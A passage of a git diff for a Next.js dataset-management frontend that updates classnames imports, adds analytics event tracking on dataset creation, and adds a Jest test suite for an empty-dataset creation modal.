+++ b/web/app/components/datasets/common/retrieval-param-config/index.tsx
@@ -6,7 +6,7 @@ import { useTranslation } from 'react-i18next'
 import Image from 'next/image'
 import ProgressIndicator from '../../create/assets/progress-indicator.svg'
 import Reranking from '../../create/assets/rerank.svg'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import TopKItem from '@/app/components/base/param-item/top-k-item'
 import ScoreThresholdItem from '@/app/components/base/param-item/score-threshold-item'
 import { RETRIEVE_METHOD } from '@/types/app'
diff --git a/web/app/components/datasets/create-from-pipeline/create-options/create-from-dsl-modal/tab/item.tsx b/web/app/components/datasets/create-from-pipeline/create-options/create-from-dsl-modal/tab/item.tsx
index 8474a832e4..5d95db5f5c 100644
--- a/web/app/components/datasets/create-from-pipeline/create-options/create-from-dsl-modal/tab/item.tsx
+++ b/web/app/components/datasets/create-from-pipeline/create-options/create-from-dsl-modal/tab/item.tsx
@@ -1,5 +1,5 @@
 import React from 'react'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 type ItemProps = {
   isActive: boolean
diff --git a/web/app/components/datasets/create-from-pipeline/create-options/create-from-dsl-modal/uploader.tsx b/web/app/components/datasets/create-from-pipeline/create-options/create-from-dsl-modal/uploader.tsx
index 57509b646f..96413e8aed 100644
--- a/web/app/components/datasets/create-from-pipeline/create-options/create-from-dsl-modal/uploader.tsx
+++ b/web/app/components/datasets/create-from-pipeline/create-options/create-from-dsl-modal/uploader.tsx
@@ -9,7 +9,7 @@ import {
 import { useTranslation } from 'react-i18next'
 import { useContext } from 'use-context-selector'
 import { formatFileSize } from '@/utils/format'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { ToastContext } from '@/app/components/base/toast'
 import ActionButton from '@/app/components/base/action-button'
 
diff --git a/web/app/components/datasets/create-from-pipeline/list/create-card.tsx b/web/app/components/datasets/create-from-pipeline/list/create-card.tsx
index 43c6da0dfc..12008b2d4d 100644
--- a/web/app/components/datasets/create-from-pipeline/list/create-card.tsx
+++ b/web/app/components/datasets/create-from-pipeline/list/create-card.tsx
@@ -5,6 +5,7 @@ import { useCreatePipelineDataset } from '@/service/knowledge/use-create-dataset
 import { useInvalidDatasetList } from '@/service/knowledge/use-dataset'
 import Toast from '@/app/components/base/toast'
 import { useRouter } from 'next/navigation'
+import { trackEvent } from '@/app/components/base/amplitude'
 
 const CreateCard = () => {
   const { t } = useTranslation()
@@ -23,6 +24,9 @@ const CreateCard = () => {
             message: t('datasetPipeline.creation.successTip'),
           })
           invalidDatasetList()
+          trackEvent('create_datasets_from_scratch', {
+            dataset_id: id,
+          })
           push(`/datasets/${id}/pipeline`)
         }
       },
diff --git a/web/app/components/datasets/create-from-pipeline/list/template-card/details/chunk-structure-card.tsx b/web/app/components/datasets/create-from-pipeline/list/template-card/details/chunk-structure-card.tsx
index f3ed24c8f3..5fa80cfe39 100644
--- a/web/app/components/datasets/create-from-pipeline/list/template-card/details/chunk-structure-card.tsx
+++ b/web/app/components/datasets/create-from-pipeline/list/template-card/details/chunk-structure-card.tsx
@@ -1,5 +1,5 @@
 import React from 'react'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import type { Option } from './types'
 import { EffectColor } from './types'
 
diff --git a/web/app/components/datasets/create-from-pipeline/list/template-card/index.tsx b/web/app/components/datasets/create-from-pipeline/list/template-card/index.tsx
index cde3bc0e00..a2fe3d164b 100644
--- a/web/app/components/datasets/create-from-pipeline/list/template-card/index.tsx
+++ b/web/app/components/datasets/create-from-pipeline/list/template-card/index.tsx
@@ -19,6 +19,7 @@ import Content from './content'
 import Actions from './actions'
 import { useCreatePipelineDatasetFromCustomized } from '@/service/knowledge/use-create-dataset'
 import { useInvalidDatasetList } from '@/service/knowledge/use-dataset'
+import { trackEvent } from '@/app/components/base/amplitude'
 
 type TemplateCardProps = {
   pipeline: PipelineTemplate
@@ -66,6 +67,11 @@ const TemplateCard = ({
         invalidDatasetList()
         if (newDataset.pipeline_id)
           await handleCheckPluginDependencies(newDataset.pipeline_id, true)
+        trackEvent('create_datasets_with_pipeline', {
+          template_name: pipeline.name,
+          template_id: pipeline.id,
+          template_type: type,
+        })
         push(`/datasets/${newDataset.dataset_id}/pipeline`)
       },
       onError: () => {
@@ -75,7 +81,7 @@ const TemplateCard = ({
         })
       },
     })
-  }, [getPipelineTemplateInfo, createDataset, t, handleCheckPluginDependencies, push, invalidDatasetList])
+  }, [getPipelineTemplateInfo, createDataset, t, handleCheckPluginDependencies, push, invalidDatasetList, pipeline.name, pipeline.id, type])
 
   const handleShowTemplateDetails = useCallback(() => {
     setShowDetailModal(true)
diff --git a/web/app/components/datasets/create/embedding-process/index.tsx b/web/app/components/datasets/create/embedding-process/index.tsx
index 4e78eb2034..22612b19bc 100644
--- a/web/app/components/datasets/create/embedding-process/index.tsx
+++ b/web/app/components/datasets/create/embedding-process/index.tsx
@@ -13,7 +13,7 @@ import Image from 'next/image'
 import { indexMethodIcon, retrievalIcon } from '../icons'
 import { IndexingType } from '../step-two'
 import DocumentFileIcon from '../../common/document-file-icon'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { FieldInfo } from '@/app/components/datasets/documents/detail/metadata'
 import Button from '@/app/components/base/button'
 import type {
diff --git a/web/app/components/datasets/create/empty-dataset-creation-modal/index.spec.tsx b/web/app/components/datasets/create/empty-dataset-creation-modal/index.spec.tsx
new file mode 100644
index 0000000000..4023948555
--- /dev/null
+++ b/web/app/components/datasets/create/empty-dataset-creation-modal/index.spec.tsx
@@ -0,0 +1,777 @@
+import { fireEvent, render, screen, waitFor } from '@testing-library/react'
+import React from 'react'
+import EmptyDatasetCreationModal from './index'
+import { createEmptyDataset } from '@/service/datasets'
+import { useInvalidDatasetList } from '@/service/knowledge/use-dataset'
+
+// Mock Next.js router
+const mockPush = jest.fn()
+jest.mock('next/navigation', () => ({
+  useRouter: () => ({
+    push: mockPush,
+  }),
+}))
+
+// Mock createEmptyDataset API
+jest.mock('@/service/datasets', () => ({
+  createEmptyDataset: jest.fn(),
+}))
+
+// Mock useInvalidDatasetList hook
+jest.mock('@/service/knowledge/use-dataset', () => ({
+  useInvalidDatasetList: jest.fn(),
+}))
+
+// Mock ToastContext - need to mock both createContext and useContext from use-context-selector
+const mockNotify = jest.fn()
+jest.mock('use-context-selector', () => ({
+  createContext: jest.fn(() => ({
+    Provider: ({ children }: { children: React.ReactNode }) => children,
+  })),
+  useContext: jest.fn(() => ({ notify: mockNotify })),
+}))
+
+// Type cast mocked functions
+const mockCreateEmptyDataset = createEmptyDataset as jest.MockedFunction<typeof createEmptyDataset>
+const mockInvalidDatasetList = jest.fn()
+const mockUseInvalidDatasetList = useInvalidDatasetList as jest.MockedFunction<typeof useInvalidDatasetList>
+
+// Test data builder for props
+const createDefaultProps = (overrides?: Partial<{ show: boolean; onHide: () => void }>) => ({
+  show: true,
+  onHide: jest.fn(),
+  ...overrides,
+})
+
+describe('EmptyDatasetCreationModal', () => {
+  beforeEach(() => {
+    jest.clearAllMocks()
+    mockUseInvalidDatasetList.mockReturnValue(mockInvalidDatasetList)
+    mockCreateEmptyDataset.mockResolvedValue({
+      id: 'dataset-123',
+      name: 'Test Dataset',
+    } as ReturnType<typeof createEmptyDataset> extends Promise<infer T> ? T : never)
+  })
+
+  // ==========================================
+  // Rendering Tests - Verify component renders correctly
+  // ==========================================
+  describe('Rendering', () => {
+    it('should render without crashing when show is true', () => {
+      // Arrange
+      const props = createDefaultProps()
+
+      // Act
+      render(<EmptyDatasetCreationModal {...props} />)
+
+      // Assert - Check modal title is rendered
+      expect(screen.getByText('datasetCreation.stepOne.modal.title')).toBeInTheDocument()
+    })
+
+    it('should render modal with correct elements', () => {
+      // Arrange
+      const props = createDefaultProps()
+
+      // Act
+      render(<EmptyDatasetCreationModal {...props} />)
+
+      // Assert
+      expect(screen.getByText('datasetCreation.stepOne.modal.title')).toBeInTheDocument()
+      expect(screen.getByText('datasetCreation.stepOne.modal.tip')).toBeInTheDocument()
+      expect(screen.getByText('datasetCreation.stepOne.modal.input')).toBeInTheDocument()
+      expect(screen.getByPlaceholderText('datasetCreation.stepOne.modal.placeholder')).toBeInTheDocument()
+      expect(screen.getByText('datasetCreation.stepOne.modal.confirmButton')).toBeInTheDocument()
+      expect(screen.getByText('datasetCreation.stepOne.modal.cancelButton')).toBeInTheDocument()
+    })
+
+    it('should render input with empty value initially', () => {
+      // Arrange
+      const props = createDefaultProps()
+
+      // Act
+      render(<EmptyDatasetCreationModal {...props} />)
+
+      // Assert
+      const input = screen.getByPlaceholderText('datasetCreation.stepOne.modal.placeholder') as HTMLInputElement
+      expect(input.value).toBe('')
+    })
+
+    it('should not render modal content when show is false', () => {
+      // Arrange
+      const props = createDefaultProps({ show: false })
+
+      // Act
+      render(<EmptyDatasetCreationModal {...props} />)
+
+      // Assert - Modal should not be visible (check for absence of title)
+      expect(screen.queryByText('datasetCreation.stepOne.modal.title')).not.toBeInTheDocument()
+    })
+  })
+
+  // ==========================================
+  // Props Testing - Verify all prop variations work correctly
+  // ==========================================
+  describe('Props', () => {
+    describe('show prop', () => {
+      it('should show modal when show is true', () => {
+        // Arrange & Act
+        render(<EmptyDatasetCreationModal show={true} onHide={jest.fn()} />)
+
+        // Assert
+        expect(screen.getByText('datasetCreation.stepOne.modal.title')).toBeInTheDocument()
+      })
+
+      it('should hide modal when show is false', () => {
+        // Arrange & Act
+        render(<EmptyDatasetCreationModal show={false} onHide={jest.fn()} />)
+
+        // Assert
+        expect(screen.queryByText('datasetCreation.stepOne.modal.title')).not.toBeInTheDocument()
+      })
+
+      it('should toggle visibility when show prop changes', () => {
+        // Arrange
+        const onHide = jest.fn()
+        const { rerender } = render(<EmptyDatasetCreationModal show={false} onHide={onHide} />)
+
+        // Act & Assert - Initially hidden
+        expect(screen.queryByText('datasetCreation.stepOne.modal.title')).not.toBeInTheDocument()
+
+        // Act & Assert - Show modal
+        rerender(<EmptyDatasetCreationModal show={true} onHide={onHide} />)
+        expect(screen.getByText('datasetCreation.stepOne.modal.title')).toBeInTheDocument()
+      })
+    })
+
+    describe('onHide prop', () => {
+      it('should call onHide when cancel button is clicked', () => {
+        // Arrange
+        const mockOnHide = jest.fn()
+        render(<EmptyDatasetCreationModal show={true} onHide={mockOnHide} />)
+
+        // Act
+        const cancelButton = screen.getByText('datasetCreation.stepOne.modal.cancelButton')
+        fireEvent.click(cancelButton)
+
+        // Assert
+        expect(mockOnHide).toHaveBeenCalledTimes(1)
+      })
+
+      it('should call onHide when close icon is clicked', async () => {
+        // Arrange
+        const mockOnHide = jest.fn()
+        render(<EmptyDatasetCreationModal show={true} onHide={mockOnHide} />)
+
+        // Act - Wait for modal to be rendered, then find the close span
+        // The close span is located in the modalHeader div, next to the title
+        const titleElement = await screen.findByText('datasetCreation.stepOne.modal.title')
+        const headerDiv = titleElement.parentElement
+        const closeButton = headerDiv?.querySelector('span')
+
+        expect(closeButton).toBeInTheDocument()
+        fireEvent.click(closeButton!)
+
+        // Assert
+        expect(mockOnHide).toHaveBeenCalledTimes(1)
+      })
+    })
+  })
+
+  // ==========================================
+  // State Management - Test input state updates
+  // ==========================================
+  describe('State Management', () => {
+    it('should update input value when user types', () => {
+      // Arrange
+      const props = createDefaultProps()
+      render(<EmptyDatasetCreationModal {...props} />)
+      const input = screen.getByPlaceholderText('datasetCreation.stepOne.modal.placeholder') as HTMLInputElement
+
+      // Act
+      fireEvent.change(input, { target: { value: 'My Dataset' } })
+
+      // Assert
+      expect(input.value).toBe('My Dataset')
+    })
+
+    it('should persist input value when modal is hidden and shown again via rerender', () => {
+      // Arrange
+      const onHide = jest.fn()
+      const { rerender } = render(<EmptyDatasetCreationModal show={true} onHide={onHide} />)
+      const input = screen.getByPlaceholderText('datasetCreation.stepOne.modal.placeholder') as HTMLInputElement
+
+      // Act - Type in input
+      fireEvent.change(input, { target: { value: 'Test Dataset' } })
+      expect(input.value).toBe('Test Dataset')
+
+      // Hide and show modal via rerender (component is not unmounted, state persists)
+      rerender(<EmptyDatasetCreationModal show={false} onHide={onHide} />)
+      rerender(<EmptyDatasetCreationModal show={true} onHide={onHide} />)
+
+      // Assert - Input value persists because component state is preserved during rerender
+      const newInput = screen.getByPlaceholderText('datasetCreation.stepOne.modal.placeholder') as HTMLInputElement
+      expect(newInput.value).toBe('Test Dataset')
+    })
+
+    it('should handle consecutive input changes', () => {
+      // Arrange
+      const props = createDefaultProps()
+      render(<EmptyDatasetCreationModal {...props} />)
+      const input = screen.getByPlaceholderText('datasetCreation.stepOne.modal.placeholder') as HTMLInputElement
+
+      // Act & Assert
+      fireEvent.change(input, { target: { value: 'A' } })
+      expect(input.value).toBe('A')
+
+      fireEvent.change(input, { target: { value: 'AB' } })
+      expect(input.value).toBe('AB')
+
+      fireEvent.change(input, { target: { value: 'ABC' } })
+      expect(input.value).toBe('ABC')
+    })
+  })
+
+  // ==========================================
+  // User Interactions - Test event handlers
+  // ==========================================
+  describe('User Interactions', () => {
+    it('should submit form when confirm button is clicked with valid input', async () => {
+      // Arrange
+      const mockOnHide = jest.fn()
+      render(<EmptyDatasetCreationModal show={true} onHide={mockOnHide} />)
+      const input = screen.getByPlaceholderText('datasetCreation.stepOne.modal.placeholder')
+      const confirmButton = screen.getByText('datasetCreation.stepOne.modal.confirmButton')
+
+      // Act
+      fireEvent.change(input, { target: { value: 'Valid Dataset Name' } })
+      fireEvent.click(confirmButton)
+
+      // Assert
+      await waitFor(() => {
+        expect(mockCreateEmptyDataset).toHaveBeenCalledWith({ name: 'Valid Dataset Name' })
+      })
+    })
+
+    it('should show error notification when input is empty', async () => {
+      // Arrange
+      const props = createDefaultProps()
+      render(<EmptyDatasetCreationModal {...props} />)
+      const confirmButton = screen.getByText('datasetCreation.stepOne.modal.confirmButton')
+
+      // Act - Click confirm without entering a name
+      fireEvent.click(confirmButton)
+
+      // Assert
+      await waitFor(() => {
+        expect(mockNotify).toHaveBeenCalledWith({
+          type: 'error',
+          message: 'datasetCreation.stepOne.modal.nameNotEmpty',
+        })
+      })
+      expect(mockCreateEmptyDataset).not.toHaveBeenCalled()
+    })
+
+    it('should show error notification when input exceeds 40 characters', async () => {
+      // Arrange
+      const props = createDefaultProps()
+      render(<EmptyDatasetCreationModal {...props} />)
+      const input = screen.getByPlaceholderText('datasetCreation.stepOne.modal.placeholder')
+      const confirmButton = screen.getByText('datasetCreation.stepOne.modal.confirmButton')
+
+      // Act - Enter a name longer than 40 characters
+      const longName = 'A'.repeat(41)
+      fireEvent.change(input, { target: { value: longName } })
+      fireEvent.click(confirmButton)
+
+      // Assert
+      await waitFor(() => {
+        expect(mockNotify).toHaveBeenCalledWith({
+          type: 'error',
+          message: 'datasetCreation.stepOne.modal.nameLengthInvalid',
+        })
+      })
+      expect(mockCreateEmptyDataset).not.toHaveBeenCalled()
+    })
+
+    it('should allow exactly 40 characters', async () => {
+      // Arrange
+      const mockOnHide = jest.fn()
+      render(<EmptyDatasetCreationModal show={true} onHide={mockOnHide} />)
+      const input = screen.getByPlaceholderText('datasetCreation.stepOne.modal.placeholder')
+      const confirmButton = screen.getByText('datasetCreation.stepOne.modal.confirmButton')
+
+      // Act - Enter exactly 40 characters
+      const exactLengthName = 'A'.repeat(40)
+      fireEvent.change(input, { target: { value: exactLengthName } })
+      fireEvent.click(confirmButton)
+
+      // Assert
+      await waitFor(() => {
+        expect(mockCreateEmptyDataset).toHaveBeenCalledWith({ name: exactLengthName })
+      })
+    })
+
+    it('should close modal on cancel button click', () => {
+      // Arrange
+      const mockOnHide = jest.fn()
+      render(<EmptyDatasetCreationModal show={true} onHide={mockOnHide} />)
+      const cancelButton = screen.getByText('datasetCreation.stepOne.modal.cancelButton')
+
+      // Act
+      fireEvent.click(cancelButton)
+
+      // Assert
+      expect(mockOnHide).toHaveBeenCalledTimes(1)
+    })
+  })
+
+  // ==========================================
+  // API Calls - Test API interactions
+  // ==========================================
+  describe('API Calls', () => {
+    it('should call createEmptyDataset with correct parameters', async () => {
+      // Arrange
+      const mockOnHide = jest.fn()
+      render(<EmptyDatasetCreationModal show={true} onHide={mockOnHide} />)
+      const input = screen.getByPlaceholderText('datasetCreation.stepOne.modal.placeholder')
+      const confirmButton = screen.getByText('datasetCreation.stepOne.modal.confirmButton')
+
+      // Act
+      fireEvent.change(input, { target: { value: 'New Dataset' } })
+      fireEvent.click(confirmButton)
+
+      // Assert
+      await waitFor(() => {
+        expect(mockCreateEmptyDataset).toHaveBeenCalledWith({ name: 'New Dataset' })
+      })
+    })
+
+    it('should call invalidDatasetList after successful creation', async () => {
+      // Arrange
+      const mockOnHide = jest.fn()
+      render(<EmptyDatasetCreationModal show={true} onHide={mockOnHide} />)
+      const input = screen.getByPlaceholderText('datasetCreation.stepOne.modal.placeholder')
+      const confirmButton = screen.getByText('datasetCreation.stepOne.modal.confirmButton')
+
+      // Act
+      fireEvent.change(input, { target: { value: 'Test Dataset' } })
+      fireEvent.click(confirmButton)
+
+      // Assert
+      await waitFor(() => {
+        expect(mockInvalidDatasetList).toHaveBeenCalled()
+      })
+    })
+
+    it('should call onHide after successful creation', async () => {
+      // Arrange
+      const mockOnHide = jest.fn()
+      render(<EmptyDatasetCreationModal show={true} onHide={mockOnHide} />)
+      const input = screen.getByPlaceholderText('datasetCreation.stepOne.modal.placeholder')
+      const confirmButton = screen.getByText('datasetCreation.stepOne.modal.confirmButton')
+
+      // Act
+      fireEvent.change(input, { target: { value: 'Test Dataset' } })
+      fireEvent.click(confirmButton)
+
+      // Assert
+      await waitFor(() => {
+        expect(mockOnHide).toHaveBeenCalled()
+      })
+    })
+
+    it('should show error notification on API failure', async () => {
+      // Arrange
+      mockCreateEmptyDataset.mockRejectedValue(new Error('API Error'))
+      const mockOnHide = jest.fn()
+      render(<EmptyDatasetCreationModal show={true} onHide={mockOnHide} />)
+      const input = screen.getByPlaceholderText('datasetCreation.stepOne.modal.placeholder')
+      const confirmButton = screen.getByText('datasetCreation.stepOne.modal.confirmButton')
+
+      // Act
+      fireEvent.change(input, { target: { value: 'Test Dataset' } })
+      fireEvent.click(confirmButton)
+
+      // Assert
+      await waitFor(() => {
+        expect(mockNotify).toHaveBeenCalledWith({
+          type: 'error',
+          message: 'datasetCreation.stepOne.modal.failed',
+        })
+      })
+    })
+
+    it('should not call onHide on API failure', async () => {
+      // Arrange
+      mockCreateEmptyDataset.mockRejectedValue(new Error('API Error'))
+      const mockOnHide = jest.fn()
+      render(<EmptyDatasetCreationModal show={true} onHide={mockOnHide} />)
+      const input = screen.getByPlaceholderText('datasetCreation.stepOne.modal.placeholder')
+      const confirmButton = screen.getByText('datasetCreation.stepOne.modal.confirmButton')
+
+      // Act
+      fireEvent.change(input, { target: { value: 'Test Dataset' } })
+      fireEvent.click(confirmButton)
+
+      // Assert - Wait for API call to complete
+      await waitFor(() => {
+        expect(mockCreateEmptyDataset).toHaveBeenCalled()
+      })
+      // onHide should not be called on failure
+      expect(mockOnHide).not.toHaveBeenCalled()
+    })
+
+    it('should not invalidate dataset list on API failure', async () => {
+      // Arrange
+      mockCreateEmptyDataset.mockRejectedValue(new Error('API Error'))
+      const props = createDefaultProps()
+      render(<EmptyDatasetCreationModal {...props} />)
+      const input = screen.getByPlaceholderText('datasetCreation.stepOne.modal.placeholder')
+      const confirmButton = screen.getByText('datasetCreation.stepOne.modal.confirmButton')
+
+      // Act
+      fireEvent.change(input, { target: { value: 'Test Dataset' } })
+      fireEvent.click(confirmButton)
+
+      // Assert
+      await waitFor(() => {
+        expect(mockNotify).toHaveBeenCalled()
+      })
+      expect(mockInvalidDatasetList).not.toHaveBeenCalled()
+    })
+  })
+
+  // ==========================================
+  // Router Navigation - Test Next.js router
+  // ==========================================
+  describe('Router Navigation', () => {
+    it('should navigate to dataset documents page after successful creation', async () => {
+      // Arrange
+      mockCreateEmptyDataset.mockResolvedValue({
+        id: 'test-dataset-456',
+        name: 'Test',
+      } as ReturnType<typeof createEmptyDataset> extends Promise<infer T> ? T : never)
+      const mockOnHide = jest.fn()
+      render(<EmptyDatasetCreationModal show={true} onHide={mockOnHide} />)
+      const input = screen.getByPlaceholderText('datasetCreation.stepOne.modal.placeholder')
+      const confirmButton = screen.getByText('datasetCreation.stepOne.modal.confirmButton')
+
+      // Act
+      fireEvent.change(input, { target: { value: 'Test' } })
+      fireEvent.click(confirmButton)
+
+      // Assert
+      await waitFor(() => {
+        expect(mockPush).toHaveBeenCalledWith('/datasets/test-dataset-456/documents')
+      })
+    })
+
+    it('should not navigate on validation error', async () => {
+      // Arrange
+      const props = createDefaultProps()
+      render(<EmptyDatasetCreationModal {...props} />)
+      const confirmButton = screen.getByText('datasetCreation.stepOne.modal.confirmButton')
+
+      // Act - Click confirm with empty input
+      fireEvent.click(confirmButton)
+
+      // Assert
+      await waitFor(() => {
+        expect(mockNotify).toHaveBeenCalled()
+      })
+      expect(mockPush).not.toHaveBeenCalled()
+    })
+
+    it('should not navigate on API error', async () => {
+      // Arrange
+      mockCreateEmptyDataset.mockRejectedValue(new Error('API Error'))
+      const props = createDefaultProps()
+      render(<EmptyDatasetCreationModal {...props} />)
+      const input = screen.getByPlaceholderText('datasetCreation.stepOne.modal.placeholder')
+      const confirmButton = screen.getByText('datasetCreation.stepOne.modal.confirmButton')
+
+      // Act
+      fireEvent.change(input, { target: { value: 'Test' } })
+      fireEvent.click(confirmButton)
+
+      // Assert
+      await waitFor(() => {
+        expect(mockNotify).toHaveBeenCalled()
+      })
+      expect(mockPush).not.toHaveBeenCalled()
+    })
+  })
+
+  // ==========================================
+  // Edge Cases - Test boundary conditions and error handling
+  // ==========================================
+  describe('Edge Cases', () => {
+    it('should handle whitespace-only input as valid (component behavior)', async () => {
+      // Arrange
+      const mockOnHide = jest.fn()
+      render(<EmptyDatasetCreationModal show={true} onHide={mockOnHide} />)
+      const input = screen.getByPlaceholderText('datasetCreation.stepOne.modal.placeholder')
+      const confirmButton = screen.getByText('datasetCreation.stepOne.modal.confirmButton')
+
+      // Act - Enter whitespace only
+      fireEvent.change(input, { target: { value: '   ' } })
+      fireEvent.click(confirmButton)
+
+      // Assert - Current implementation treats whitespace as valid input
+      await waitFor(() => {
+        expect(mockCreateEmptyDataset).toHaveBeenCalledWith({ name: '   ' })
+      })
+    })
+
+    it('should handle special characters in input', async () => {
+      // Arrange
+      const mockOnHide = jest.fn()
+      render(<EmptyDatasetCreationModal show={true} onHide={mockOnHide} />)
+      const input = screen.getByPlaceholderText('datasetCreation.stepOne.modal.placeholder')
+      const confirmButton = screen.getByText('datasetCreation.stepOne.modal.confirmButton')
+
+      // Act
+      fireEvent.change(input, { target: { value: 'Test @#$% Dataset!' } })
+      fireEvent.click(confirmButton)
+
+      // Assert
+      await waitFor(() => {
+        expect(mockCreateEmptyDataset).toHaveBeenCalledWith({ name: 'Test @#$% Dataset!' })
+      })
+    })
+
+    it('should handle Unicode characters in input', async () => {
+      // Arrange
+      const mockOnHide = jest.fn()
+      render(<EmptyDatasetCreationModal show={true} onHide={mockOnHide} />)
+      const input = screen.getByPlaceholderText('datasetCreation.stepOne.modal.placeholder')
+      const confirmButton = screen.getByText('datasetCreation.stepOne.modal.confirmButton')
+
+      // Act
+      fireEvent.change(input, { target: { value: '数据集测试 🚀' } })
+      fireEvent.click(confirmButton)
+
+      // Assert
+      await waitFor(() => {
+        expect(mockCreateEmptyDataset).toHaveBeenCalledWith({ name: '数据集测试 🚀' })
+      })
+    })
+
+    it('should handle input at exactly 40 character boundary', async () => {
+      // Arrange
+      const mockOnHide = jest.fn()
+      render(<EmptyDatasetCreationModal show={true} onHide={mockOnHide} />)
+      const input = screen.getByPlaceholderText('datasetCreation.stepOne.modal.placeholder')
+      const confirmButton = screen.getByText('datasetCreation.stepOne.modal.confirmButton')
+
+      // Act - Test boundary: 40 characters is valid
+      const name40Chars = 'A'.repeat(40)
+      fireEvent.change(input, { target: { value: name40Chars } })
+      fireEvent.click(confirmButton)
+
+      // Assert
+      await waitFor(() => {
+        expect(mockCreateEmptyDataset).toHaveBeenCalledWith({ name: name40Chars })
+      })
+    })
+
+    it('should reject input at 41 character boundary', async () => {
+      // Arrange
+      const props = createDefaultProps()
+      render(<EmptyDatasetCreationModal {...props} />)
+      const input = screen.getByPlaceholderText('datasetCreation.stepOne.modal.placeholder')
+      const confirmButton = screen.getByText('datasetCreation.stepOne.modal.confirmButton')
+
+      // Act - Test boundary: 41 characters is invalid
+      const name41Chars = 'A'.repeat(41)
+      fireEvent.change(input, { target: { value: name41Chars } })
+      fireEvent.click(confirmButton)
+
+      // Assert
+      await waitFor(() => {
+        expect(mockNotify).toHaveBeenCalledWith({
+          type: 'error',
+          message: 'datasetCreation.stepOne.modal.nameLengthInvalid',
+        })
+      })
+      expect(mockCreateEmptyDataset).not.toHaveBeenCalled()
+    })
+
+    it('should handle rapid consecutive submits', async () => {
+      // Arrange
+      const mockOnHide = jest.fn()
+      render(<EmptyDatasetCreationModal show={true} onHide={mockOnHide} />)
+      const input = screen.getByPlaceholderText('datasetCreation.stepOne.modal.placeholder')
+      const confirmButton = screen.getByText('datasetCreation.stepOne.modal.confirmButton')
+
+      // Act - Rapid clicks
+      fireEvent.change(input, { target: { value: 'Test' } })
+      fireEvent.click(confirmButton)
+      fireEvent.click(confirmButton)
+      fireEvent.click(confirmButton)
+
+      // Assert - API will be called multiple times (no debounce in current implementation)
+      await waitFor(() => {
+        expect(mockCreateEmptyDataset).toHaveBeenCalled()
+      })
+    })
+
+    it('should handle input with leading/trailing spaces', async () => {
+      // Arrange
+      const mockOnHide = jest.fn()
+      render(<EmptyDatasetCreationModal show={true} onHide={mockOnHide} />)
+      const input = screen.getByPlaceholderText('datasetCreation.stepOne.modal.placeholder')
+      const confirmButton = screen.getByText('datasetCreation.stepOne.modal.confirmButton')
+
+      // Act
+      fireEvent.change(input, { target: { value: '  Dataset Name  ' } })
+      fireEvent.click(confirmButton)
+
+      // Assert - Current implementation does not trim spaces
+      await waitFor(() => {
+        expect(mockCreateEmptyDataset).toHaveBeenCalledWith({ name: '  Dataset Name  ' })
+      })
+    })
+
+    it('should handle newline characters in input (browser strips newlines)', async () => {
+      // Arrange
+      const mockOnHide = jest.fn()
+      render(<EmptyDatasetCreationModal show={true} onHide={mockOnHide} />)
+      const input = screen.getByPlaceholderText('datasetCreation.stepOne.modal.placeholder')
+      const confirmButton = screen.getByText('datasetCreation.stepOne.modal.confirmButton')
+
+      // Act
+      fireEvent.change(input, { target: { value: 'Line1\nLine2' } })
+      fireEvent.click(confirmButton)
+
+      // Assert - HTML input elements strip newline characters (expected browser behavior)
+      await waitFor(() => {
+        expect(mockCreateEmptyDataset).toHaveBeenCalledWith({ name: 'Line1Line2' })
+      })
+    })
+  })
+
+  // ==========================================
+  // Validation Tests - Test input validation
+  // ==========================================
+  describe('Validation', () => {
+    it('should not submit when input is empty string', async () => {
+      // Arrange
+      const props = createDefaultProps()
+      render(<EmptyDatasetCreationModal {...props} />)
+      const confirmButton = screen.getByText('datasetCreation.stepOne.modal.confirmButton')
+
+      // Act
+      fireEvent.click(confirmButton)
+
+      // Assert
+      await waitFor(() => {
+        expect(mockNotify).toHaveBeenCalledWith({
+          type: 'error',
+          message: 'datasetCreation.stepOne.modal.nameNotEmpty',
+        })
+      })
+    })
+
+    it('should validate length before calling API', async () => {
+      // Arrange
+      const props = createDefaultProps()
+      render(<EmptyDatasetCreationModal {...props} />)
+      const input = screen.getByPlaceholderText('datasetCreation.stepOne.modal.placeholder')
+      const confirmButton = screen.getByText('datasetCreation.stepOne.modal.confirmButton')
+
+      // Act
+      fireEvent.change(input, { target: { value: 'A'.repeat(50) } })
+      fireEvent.click(confirmButton)
+
+      // Assert - Should show error before API call
+      await waitFor(() => {
+        expect(mockNotify).toHaveBeenCalledWith({
+          type: 'error',
+          message: 'datasetCreation.stepOne.modal.nameLengthInvalid',
+        })
+      })
+      expect(mockCreateEmptyDataset).not.toHaveBeenCalled()
+    })
+
+    it('should validate empty string before length check', async () => {
+      // Arrange
+      const props = createDefaultProps()
+      render(<EmptyDatasetCreationModal {...props} />)
+      const confirmButton = screen.getByText('datasetCreation.stepOne.modal.confirmButton')
+
+      // Act - Don't enter anything
+      fireEvent.click(confirmButton)
+
+      // Assert - Should show empty error, not length error
+      await waitFor(() => {
+        expect(mockNotify).toHaveBeenCalledWith({
+          type: 'error',
+          message: 'datasetCreation.stepOne.modal.nameNotEmpty',
+        })
+      })
+    })
+  })
+
+  // ==========================================
+  // Integration Tests - Test complete flows
+  // ==========================================
+  describe('Integration', () => {
+    it('should complete full successful creation flow', async () => {
+      // Arrange
+      const mockOnHide = jest.fn()
+      mockCreateEmptyDataset.mockResolvedValue({
+        id: 'new-id-789',
+        name: 'Complete Flow Test',
+      } as ReturnType<typeof createEmptyDataset> extends Promise<infer T> ? T : never)
+      render(<EmptyDatasetCreationModal show={true} onHide={mockOnHide} />)
+      const input = screen.getByPlaceholderText('datasetCreation.stepOne.modal.placeholder')
+      const confirmButton = screen.getByText('datasetCreation.stepOne.modal.confirmButton')
+
+      // Act
+      fireEvent.change(input, { target: { value: 'Complete Flow Test' } })
+      fireEvent.click(confirmButton)
+
+      // Assert - Verify complete flow
+      await waitFor(() => {
+        // 1. API called
+        expect(mockCreateEmptyDataset).toHaveBeenCalledWith({ name: 'Complete Flow Test' })
+        // 2. Dataset list invalidated
+        expect(mockInvalidDatasetList).toHaveBeenCalled()
+        // 3. Modal closed
+        expect(mockOnHide).toHaveBeenCalled()
+        // 4. Navigation happened
+        expect(mockPush).toHaveBeenCalledWith('/datasets/new-id-789/documents')
+      })
+    })
+
+    it('should handle error flow correctly', async () => {
+      // Arrange
+      const mockOnHide = jest.fn()
